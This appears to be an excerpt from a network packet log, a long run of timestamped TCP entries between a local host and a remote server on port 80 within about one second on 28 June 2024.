Jun 28, 2024 22:32:06.759301901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759309053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759316921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759330988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759337902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759349108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759358883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759363890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759375095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759383917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759390116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759399891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759412050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759416103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759426117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759434938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759444952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759458065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759463072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759470940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759483099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759488106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759495974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759520054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759561062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760186911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760196924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760205984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760215998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760221958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760231018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760241032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760248899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760256052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760267019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760276079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760282993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760298014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760304928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760313034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760322094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760329008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760339022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760348082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760354996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760364056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760374069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760382891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760390997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760399103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760411978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760416985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760425091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760436058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760441065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760451078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.760468006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.760493040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761212111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761221886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761230946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761240959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761250019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761264086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761275053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761281013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761287928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761298895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761302948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761313915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761321068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761329889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761339903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761348963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761356115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761363983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761377096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761385918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761393070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761403084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761415958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761420965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761430025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761440039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761451960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761456966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761465073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761472940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761481047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.761508942 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.761528015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762160063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762171030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762178898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762190104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762198925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762206078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762213945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762223959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762233019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762239933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762255907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762262106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762269974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762281895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762286901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762295961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762305975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762315989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762324095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762331009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762341976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762351990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762363911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762368917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762377024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762386084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762392998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762403011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762413025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762418985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762428045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.762438059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.762465000 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763046980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763058901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763076067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763082981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763092041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763101101 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763107061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763117075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763134003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763174057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763328075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763338089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763348103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763356924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763366938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763372898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763392925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763398886 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763406992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763413906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763421059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763432026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763441086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763448000 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763456106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763464928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763473988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763488054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763495922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763505936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763513088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763523102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763533115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763540983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763549089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763559103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763566971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763576984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763586044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763592958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763603926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763612986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.763619900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.763653994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764369011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764379025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764394045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764404058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764410973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764419079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764427900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764435053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764445066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764455080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764461994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764470100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764480114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764501095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764504910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764516115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764523029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764532089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764544964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764549971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764559031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.764565945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.764605045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765062094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765075922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765085936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765095949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765105009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765110970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765119076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765131950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765137911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765153885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765162945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765170097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765181065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765188932 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765196085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765207052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765216112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765223026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765230894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765242100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765252113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765258074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765270948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765280008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765288115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765296936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765304089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765314102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765322924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765330076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765340090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765350103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765357018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765364885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.765393972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.765415907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766020060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766030073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766038895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766047955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766057968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766064882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766072989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766083956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766093016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766099930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766108990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766118050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766124964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766134024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766144037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766150951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766160011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766166925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766175032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766185045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766191006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766200066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766208887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766220093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766227007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766271114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766659975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766670942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766680956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766686916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766695976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766705036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766712904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766745090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766763926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.766971111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766980886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.766988993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767002106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767016888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767024994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767040968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767047882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767055988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767065048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767071009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767079115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767088890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767100096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767107964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767115116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767124891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767133951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767142057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767151117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767162085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767170906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767179966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767187119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767198086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767208099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767214060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767220974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767230988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767240047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767249107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767252922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767261982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767271042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.767283916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.767308950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.802582979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802603006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802612066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802633047 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.802653074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.802680969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802690983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802700996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802714109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.802717924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802737951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.802762985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.802783012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.802822113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803617001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803658009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803675890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803683996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803706884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803723097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803729057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803736925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803762913 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803787947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803831100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803844929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803854942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803865910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803872108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803903103 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803919077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.803929090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.803968906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804047108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804058075 CEST	80	49731	85.28.47.4	192.168.2.4
